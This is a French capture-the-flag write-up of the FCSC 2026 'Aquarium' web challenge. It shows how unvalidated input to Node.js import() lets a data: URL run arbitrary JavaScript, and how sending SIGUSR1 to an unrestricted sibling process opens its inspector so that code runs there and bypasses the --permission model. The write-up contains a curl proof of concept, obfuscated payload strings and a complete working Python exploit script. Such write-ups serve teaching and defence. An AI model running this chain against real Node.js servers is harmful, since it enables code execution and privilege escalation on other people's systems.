writeups.ipynb[autosaved]
Idle
EN
Code
← Writeups
FCSC 2026·Web·Medium
·7 min read

FCSC 2026 - Aquarium

Bypass --permissions Node.js.

webjavascriptNode.js

FCSC - Aquarium — Write-up

Description

Application Express (Node.js 24) servant un aquarium avec trois endpoints :

  • POST /language : charge un module de traduction via import()
  • GET /message : lit /tmp/message.txt
  • GET / : page statique

Un binaire SUID /getflag lit /root/flag.txt (mode 400, owned root).


Première lecture du code

En ouvrant le source, le endpoint /language saute aux yeux immédiatement :

app.post("/language", async (req, res) => {
  const requested = req.body?.lang || "fr";
  try {
    res.json(await import(requested + "/index.js"));
  } catch {
    res.json(await import("fr/index.js"));
  }
});

requested vient directement du corps JSON, sans aucune validation côté serveur. Il y a bien un check dans app.js côté client (SUPPORTED_LANGS.includes(lang)), mais c'est de la sécurité cosmétique — n'importe quelle requête HTTP directe le contourne.

Le vrai point intéressant : Node.js import() accepte les data:text/javascript,... URLs. Ça veut dire qu'on peut lui faire exécuter du JavaScript arbitraire en passant une data URL comme valeur de lang. En terminant le payload par //, on neutralise le /index.js que le serveur ajoute en le transformant en commentaire :

data:text/javascript,export default 42// + /index.js
→ data:text/javascript,export default 42///index.js
→ JS effectif : export default 42  (le reste est commenté)

Preuve de concept :

curl -s -X POST "http://localhost:8000/language" -H "Content-type: application/json" -d '{"lang":"data:text/javascript,export default 42//"}'

Réponse : {"default":42}

On a bien une exécution de code arbitraire dans le processus serveur. La suite logique : lire /root/flag.txt ou exécuter /getflag.


Le mur — Node.js Permission Model

C'est là que ça se complique. Après BEAUCOUP de tentatives — essayer d'appeler /getflag directement via execSync, tenter d'écrire dans /tmp, essayer child_process.spawn — tout échoue avec ERR_ACCESS_DENIED.

En regardant comment le serveur est lancé dans supervisord.conf :

node --permission --allow-fs-read=/ /usr/app/server.mjs

Le flag --permission active le Permission Model de Node.js, qui bloque tout ce qui n'est pas explicitement autorisé :

  • --allow-fs-write absent → écriture fichiers bloquée
  • --allow-child-process absent → execSync, spawn bloqués

Et pour enfoncer le clou, le docker-compose.yml monte le conteneur en read_only: true, avec seulement /fcsc/ en tmpfs (mode 311, non accessible en écriture pour ctf). Impossible d'écrire quoi que ce soit sur le filesystem.

Ce qui reste autorisé depuis le processus injecté :

  • fs.readFileSync(path) — lecture des fichiers accessibles à ctf
  • process.kill(pid, signal) — envoi de signaux (non couvert par le Permission Model)
  • Requêtes réseau (node:http, WebSocket) — le réseau n'est pas couvert non plus

Mais /root/flag.txt est en mode 400 (root-only) : inaccessible directement depuis un processus ctf, même avec la lecture FS autorisée.

Je m'aperçois que j'étais passé à côté de quelque chose dans supervisord.conf.


La clé — Un second processus sans restrictions

En relisant supervisord.conf plus attentivement :

[program:app]
command=node --permission --allow-fs-read=/ /usr/app/server.mjs
user=ctf

[program:bot]
command=/bin/sh /home/ctf/run.sh
user=ctf
# ← pas de --permission ici

Le bot exécute messages.js en boucle sans aucune restriction :

while true; do
    node /home/ctf/messages.js;
done

Ce processus tourne sous le même utilisateur ctf, mais sans Permission Model. Il peut exécuter des child processes, et surtout appeler /getflag qui est SUID root.

Le problème devient : comment faire exécuter du code arbitraire dans ce processus depuis le processus serveur restreint ?


Le pivot — SIGUSR1 et le Node.js Inspector

À partir de là, je comprends qu'il va falloir trouver un moyen de pivoter du processus restreint vers le processus non restreint. En parcourant la documentation Node.js, je tombe sur le debugger : Node.js expose une interface de connexion WebSocket (Chrome DevTools Protocol) qui permet d'évaluer du code dans le contexte du processus cible.

Il me reste une chose à déterminer : comment déclencher cet inspector sur le bot ?

La réponse est dans la doc officielle :

"SIGUSR1 is reserved by Node.js to start the debugger."

Node.js installe par défaut un handler SIGUSR1 sur tout processus, depuis la v6. Envoyer ce signal active l'inspector sur 127.0.0.1:9229 sans aucune option à passer au lancement.

Et process.kill(pid, 'SIGUSR1') depuis le processus serveur ? Autorisé par l'OS (même utilisateur ctf), et non couvert par le Permission Model. C'est le maillon manquant.


Exploitation

Étape 1 — Trouver le PID du bot

La lecture de /proc est autorisée par --allow-fs-read=/. On scanne les cmdlines pour trouver messages.js :

const fs = await import('node:fs');
let pid = null;
for (const p of fs.readdirSync('/proc')) {
  if (!+p) continue;
  try {
    if (fs.readFileSync(`/proc/${p}/cmdline`, 'utf8').includes('messages.js')) {
      pid = +p; break;
    }
  } catch(e) {}
}

Étape 2 — Activer l'inspector du bot

process.kill(pid, 'SIGUSR1');
await new Promise(r => setTimeout(r, 800)); // laisser le temps à l'inspector de démarrer

Étape 3 — Récupérer l'URL WebSocket de l'inspector

L'inspector expose une API HTTP sur le port 9229 qui liste les sessions disponibles :

const http = await import('node:http');
const json = await new Promise((res, rej) => {
  http.get('http://127.0.0.1:9229/json', r => {
    let d = '';
    r.on('data', c => d += c);
    r.on('end', () => res(JSON.parse(d)));
  }).on('error', rej);
});
const wsUrl = json[0].webSocketDebuggerUrl;

Étape 4 — Exécuter /getflag via CDP Runtime.evaluate

On se connecte en WebSocket et on envoie une commande Runtime.evaluate dans le contexte du bot (qui tourne sans --permission).

Un piège ici : import() depuis le contexte CDP échoue avec "A dynamic import callback was not specified". Il faut passer par process.mainModule.require qui donne accès à require CommonJS depuis ce contexte.

Autre contrainte pratique : les guillemets imbriqués dans le payload JSON sont un cauchemar. Solution propre — encoder les strings avec String.fromCharCode :

  • 'child_process' → String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115)
  • '/getflag' → String.fromCharCode(47,103,101,116,102,108,97,103)
const expr = `process.mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115)).execSync(String.fromCharCode(47,103,101,116,102,108,97,103)).toString()`;

const flag = await new Promise((res, rej) => {
  const ws = new WebSocket(wsUrl);
  ws.onopen = () => ws.send(JSON.stringify({
    id: 1,
    method: 'Runtime.evaluate',
    params: { expression: expr }
  }));
  ws.onmessage = e => {
    const r = JSON.parse(e.data);
    res(r?.result?.result?.value ?? JSON.stringify(r));
    ws.close();
  };
  ws.onerror = e => res('ws_err:' + String(e));
  setTimeout(() => res('timeout'), 5000);
});

Dernière chose : pour que le résultat remonte dans la réponse HTTP du serveur, le module injecté doit exporter le flag. La data: URL est traitée comme un module ESM — on utilise le top-level await et export default :

export default flag;

Sans ça, import() retourne un objet vide {} et la réponse est vide.


Programme final

import requests
from urllib.parse import quote
import json

#url = "https://fcsc-aquarium.fcsc.fr/language"
url = "http://127.0.0.1:8000"

java = """
const fs = await import('node:fs');
const http = await import('node:http');

let pid = null;
for (const p of fs.readdirSync('/proc')) {
    if (!+p) continue;
    try {
        if (fs.readFileSync(`/proc/${p}/cmdline`, 'utf8').includes('messages.js')) {
            pid = +p;
            break;
        }
    } catch(e) {}
}

process.kill(pid, 'SIGUSR1');
await new Promise(r => setTimeout(r, 800));

const json = await new Promise((res, rej) => {
    http.get('http://127.0.0.1:9229/json', r => {
        let d = '';
        r.on('data', c => d += c);
        r.on('end', () => res(JSON.parse(d)));
    }).on('error', rej);
});

const wsUrl = json[0].webSocketDebuggerUrl;
const expr = `process.mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115)).execSync(String.fromCharCode(47,103,101,116,102,108,97,103)).toString()`;

const flag = await new Promise((res, rej) => {
    const ws = new WebSocket(wsUrl);
    ws.onopen = () => ws.send(JSON.stringify({id:1, method:'Runtime.evaluate', params:{expression:expr}}));
    ws.onmessage = e => { const r = JSON.parse(e.data); res(r?.result?.result?.value ?? JSON.stringify(r)); ws.close(); };
    ws.onerror = e => res('ws_err:' + String(e));
    setTimeout(() => res('timeout'), 5000);
});

export default flag;

"""

payload = f"data:text/javascript,{quote(java)}//"

r = requests.post(
    f"{url}/language",
    headers={"Content-Type": "application/json"},
    data=json.dumps({"lang": payload}),
)

print(r.json())

Chaîne d'exploitation résumée

POST /language
  └─ import("data:text/javascript,...//")   ← injection ESM (validation côté client bypassée)
       ├─ fs.readFileSync('/proc/*/cmdline') ← trouve PID du bot (permission FS-read autorisée)
       ├─ process.kill(pid, 'SIGUSR1')       ← active l'inspector (built-in Node.js, hors Permission Model)
       ├─ http.get('127.0.0.1:9229/json')    ← récupère l'URL WebSocket CDP
       └─ WebSocket CDP Runtime.evaluate     ← exécute dans le contexte du bot (sans --permission)
            └─ process.mainModule.require('child_process')
                 .execSync('/getflag')        ← binaire SUID root → lit /root/flag.txt
                      └─ FCSC{...}           ← retourné via export default dans la réponse JSON